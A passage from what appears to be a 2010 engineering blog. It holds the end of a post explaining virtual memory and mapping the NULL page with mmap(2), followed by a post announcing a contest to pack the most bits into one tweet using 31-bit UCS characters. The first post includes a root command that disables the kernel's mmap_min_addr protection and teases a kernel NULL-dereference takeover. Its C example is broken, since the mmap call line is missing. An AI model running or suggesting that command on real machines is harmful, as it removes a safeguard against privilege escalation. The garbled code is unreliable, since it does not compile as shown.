This was widely regarded as a bad move, and so all modern hardware supports, and operating systems use, a scheme called virtual memory. What this means it that every program running on your computer has its own namespace for pointers (from 0 to 232-1, on a 32-bit machine). The value `700` means something completely different to Microsoft Word and Internet Explorer, and neither can access the other's memory. The operating system is in charge of managing these so-called address spaces, and mapping different pieces of each program's address space to different pieces of physical memory.

The world with Virtual Memory. Dark gray shows portions of the address space that refer to valid memory.

## mmap(2)

One feature of this setup is that while each process has its own 232 possible addresses, not all of them need to be valid (correspond to real memory). In particular, by default, the `NULL` or `0` pointer does not correspond to valid memory, which is why accessing it leads to a crash.

Because each application has its own address space, however, it is free to do with it as it wants. For instance, you're welcome to declare that `NULL` should be a valid address in your application. We refer to this as "mapping" the `NULL` page, because you're declaring that that area of memory should map to some piece of physical memory.

On Linux (and other UNIX) systems, the function call used for mapping regions of memory is `mmap(2)`. `mmap` is defined as:

```void *mmap(void *addr, size_t length, int prot, int flags,
int fd, off_t offset);
```

Let's go through those arguments in order (All of this information comes from the man page):

`addr`
This is the address where the application wants to map memory. If `MAP_FIXED` is not specified in `flags`, `mmap` may select a different address if the selected one is not available or inappropriate for some reason.
`length`
The length of the region the application wants to map. Memory can only be mapped in increments of a "page", which is 4k (4096 bytes) on x86 processors.
`prot`
Short for "protection", this argument must be a combination of one or more of the values `PROT_READ`, `PROT_WRITE`, `PROT_EXEC`, or `PROT_NONE`, indicating whether the application should be able to read, write, execute, or none of the above, the mapped memory.
`flags`
Controls various options about the mapping. There are a number of flags that can go here. Some interesting ones are `MAP_PRIVATE`, which indicates the mapping should not be shared with any other process, `MAP_ANONYMOUS`, which indicates that the `fd` argument is irrelevant, and `MAP_FIXED`, which indicates that we want memory located exactly at `addr`.
`fd`
The primary use of `mmap` is not just as a memory allocator, but in order to map files on disk to appear in a process's address space, in which case `fd` refers to an open file descriptor to map. Since we just want a random chunk of memory, we're going pass `MAP_ANONYMOUS` in `flags`, which indicates that we don't want to map a file, and `fd` is irrelevant.
`offset`
This argument would be used with `fd` to indicate which portion of a file we wanted to map.
`mmap` returns the address of the new mapping, or `MAP_FAILED` if something went wrong.

If we just want to be able to read and write the `NULL` pointer, we'll want to set `addr` to 0 and `length` to 4096, in order to map the first page of memory. We'll need `PROT_READ` and `PROT_WRITE` to be able to read and write, and all three of the `flags` I mentioned. `fd` and `offset` are irrelevant; we'll set them to `-1` and `0` respectively.

Putting it all together, we get the following short C program, which successfully reads and writes through a `NULL` pointer without crashing!

(Note that most modern systems actually specifically disallow mapping the NULL page, out of security concerns. To run the following example on a recent Linux machine at home, you'll need to run ` # echo 0 > /proc/sys/vm/mmap_min_addr` as root, first.)

```#include <sys/mman.h>
#include <stdio.h>

int main() {
int *ptr = NULL;
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0)
== MAP_FAILED) {
perror("Unable to mmap(NULL)");
return 1;
}
printf("Dereferencing my NULL pointer yields: %d\n", *ptr);
*ptr = 17;
printf("Now it's: %d\n", *ptr);
return 0;
}
```

Next time, we'll look at how a process can not only map `NULL` in its own address space, but can also create mappings in the kernel's address space. And, I'll show you how this lets an attacker use a `NULL` dereference in the kernel to take over the entire machine. Stay tuned!

## Wednesday Mar 24, 2010

### The 1st International Longest Tweet Contest

How much information is in a tweet?

There are a lot of snarky answers to that. Let's talk mathematically, where information is measured in bits: How many bits can be expressed in a tweet?

It's kind of fun to try to figure out how to cram in the most information. Our current in-house record is 4.2 kilobits (525 bytes) per tweet, but this can definitely be bested. Twitter's 140-character limit has been under assault for some time, but nobody has decisively anointed a winner.

To that end, announcing the 1st International Longest Tweet Contest, along the lines of the﻿﻿ International Obfuscated C Code Contest. The goal: fit the most bits of information into a tweet. There will be glorious fame and a T-shirt for the winner. More on that later. But first, a dialog:

Ben Bitdiddle: How big can a tweet get? SMS is limited to 160 characters of 7-bit ASCII, or 1,120 bits. Since Twitter based their limit on SMS but with 20 characters reserved for your name, a tweet is probably limited to 140 × 7 = 980 bits.

Alyssa P. Hacker: Not quite -- despite its SMS roots, Twitter supports Unicode, and the company says its 140-character limit is based on Unicode characters, not ASCII. So it's a lot more than 980 bits.

Ben: Ok, Unicode is a 16-bit character set, so the answer is 140 × 16 = 2,240 bits.

Alyssa: Well, since that Java documentation was written, Unicode has expanded to cover more of the world's languages. These days there are ﻿﻿﻿﻿1,112,064 possible Unicode characters (officially "Unicode scalar values") that can be represented, including in the UTF-8 encoding that Twitter and most of the Internet uses. That makes Unicode about 20.1 bits per character, not 16. (Since log2 1,112,064 ≈ 20.1.)

Ben: Ok, if each character can take on one of 1,112,064 possible values, we can use that to figure out how many total different tweets there can ever be. And from that, we'll know how many bits can be encoded into a tweet. But how?

Alyssa: It's easy! We just calculate the total number of different tweets that can ever be received. The capacity of a tweet, in bits, is just the base-2 logarithm of that number. According to my calculator here, 1,112,064 to the 140th power is about 28.7 ﻿﻿﻿﻿﻿﻿quattuordecillion googol googol googol googol googol googol googol googol. That's the number of distinct 140-character messages that can be sent. Plus we have to add in the 139-character messages and 138-character messages, etc. Taking the log, I get 2,811 bits per tweet.

Ben: We'd get almost the same answer if we just multiplied 20.1 bits per character times 140 characters. Ok, 2.8 kilobits per tweet.

Alyssa: I just discovered a problem. There aren't that many distinct tweets! For example, I can't tell the difference between the single character '<' and the four characters '&lt;'. I also can't send a tweet that contains nothing but some null characters. So we have to deflate our number a little bit. It's tricky because we don't know Twitter's exact limitations; it's a black box.

Ben: But the answer will still be roughly 2.8 kilobits. Can we do better?

Alyssa: By golly, I think we can! Turns out Unicode is basically identical to an international standard, called the Universal Multi-Octet Coded Character Set, known as UCS or ISO/IEC 10646. But the two standards weren't always the same -- in the 90s, there was a lot of disagreement between the computer companies who backed Unicode and proposed a simple 16-bit character set, and the standards mavens behind UCS, who wanted to accommodate more languages than 65,536 characters would allow. The two sides eventually compromised on the current 20.1-bit character set, but some historical differences still linger between the two "official" specifications -- including in the definition of the UTF-8 encoding that Twitter uses. Check this out:

 UTF-8 according to Unicode UTF-8 according to ISO/IEC 10646

Alyssa: Although Unicode's UTF-8 can only encode the 1,112,064 Unicode scalar values, UCS's version of UTF-8 is a lot bigger -- it goes up to 31 bits!

Ben: So, when Twitter says they use UTF-8, which version are they using? Unicode, or UCS?

Alyssa: Hmm, that's a good question. Let's write a program to test. I'll send Twitter a really big UCS character in UTF-8, represented in octal like this. This is way outside the bounds of well-formed Unicode.

```\$ perl -Mbytes -we 'print pack "U", (2**31 - 5)' | od -t o1
0000000 375 277 277 277 277 273
```

Ben: Hey, that kind of worked! When we fetch it back using Twitter's JSON API, we get this JSON fragment:

```"﻿﻿text":"\\375\\277\\277\\277\\277\\273"
```

Alyssa: It's the same thing we sent! The character (really an unassigned code position) is represented in UTF-8, in octal with backslashes in ASCII. That means Twitter "characters" are actually 31 bits, not 20.1 bits. The capacity of a tweet is actually a lot bigger than the 2.8 kilobits we calculated earlier.

Ben: Should we worry that the text only shows up in the JSON API, not XML or HTML, and these high characters only last a few days on Twitter's site before vanishing?

Alyssa: Nope. As long as we had this exchange in our conversation, people on the Internet won't complain about those issues.

Using Alyssa's insight that Twitter actually supports 31-bit UCS characters (not just Unicode), we can come up with a simple program to send 4.2-kilobit tweets using only code positions that aren't in Unicode. That way there's no ambiguity between these crazy code positions, which Twitter represents as backslashed octal, and legitimate Unicode, which Twitter sends literally. These tweets have a text field that's a whopping 3,360 bytes long -- but in ASCII octal UTF-8, so they only represent 525 bytes of information in the end.

• The sender program reads the first 525 bytes of standard input or a file, slices it into 30-bit chunks, and sends it to Twitter using 31-bit UCS code positions. The high bit of each character is set to 1 to avoid ever sending a valid Unicode UTF-8 string, which Twitter might treat ambiguously. It outputs the ID of the tweet it posted. You'll have to fill in your own username and password to test it.
• The receiver program does the opposite -- give it an ID on the command line, and it will retrieve and decode a "megatwit" encoded by the sender.

Here's an example of how to use the programs and verify that they can encode at least one arbitrary 4,200-bit message:

```\$ dd if=/dev/urandom of=random.bits bs=525 count=1
1+0 records in
1+0 records out
525 bytes (525 B) copied, 0.0161392 s, 32.5 kB/s
\$ md5sum random.bits
a7da09e59d1b6807e78aac7004e6ba41  random.bits
\$ ./megatwit-send &lt; random.bits
11037181699
\$ ./megatwit-get 11037181699 | md5sum
a7da09e59d1b6807e78aac7004e6ba41  -
```

But this is just the start -- we're not the only ones interested in really long tweets. (Structures, strictures...) Others have found an apparent loophole in how Twitter handles some URLs, allowing them to send tweets with a text field up to 532 bytes long (how much information can be coded this way isn't clear). Maxitweet has come up with a clever way to milk the most out of 140 Unicode characters without requiring a decoder program, at least at its lower compression levels. There are definitely even better ways to cram as many bits as possible into a tweet.

So here is the challenge for the 1st International Longest Tweet Contest:

1. Come up with a strategy for encoding arbitrary binary data into a single tweet, along the lines of the sample programs described here.
2. Implement a sender and receiver for the strategy in a computer programming language of your choice. We recommend you choose a language likely to be runnable by a wide variety of readers. At your option, you may provide a Web site or other public implementation for others to test your coding scheme with arbitrary binary input.
3. Write a description, in English, for how your coding scheme works. Explain how many bits per tweet it achieves, and justify your calculation. The explanation must be convincing because it is intractable to prove conclusively that a certain capacity is achievable, even if a program successfully sends and receives many test cases.
4. Send your entry, consisting of #2 and #3, to megatwit@ksplice.com ksplice_blog_us_grp@oracle.com before Sunday, April 11, 2010, 23h59 UTC.
5. Based on the English explanations of the coding schemes (#3), we'll select finalists from among the entrants. In mid-April, we'll post the finalists' submissions on the blog. In the spirit of Twitter, we'll let the community assess, criticize, test, and pick apart the finalists' entries.
6. Based on the community's feedback, we'll choose at least one winner. This will generally be the person whose scheme for achieving the highest information encoded per tweet is judged most convincing.
7. The winner will receive notoriety and fame on this blog, and a smart-looking Ksplice T-shirt in the size of your choice. You will be known the world over as the Reigning Champion of the International Longest Tweet Contest until there is another contest. Legally we can't promise this, but there's a chance Stephen Colbert will have you on as a result of winning this prestigious contest.
8. By entering the contest, you are giving Ksplice permission to post your entry if you are selected as a finalist. The contest is void where prohibited. The rules are subject to change at our discretion. Employees of Ksplice aren't eligible because they already have T-shirts. Judging will be done by Ksplice in its sole discretion.

That's it. Happy tweeting!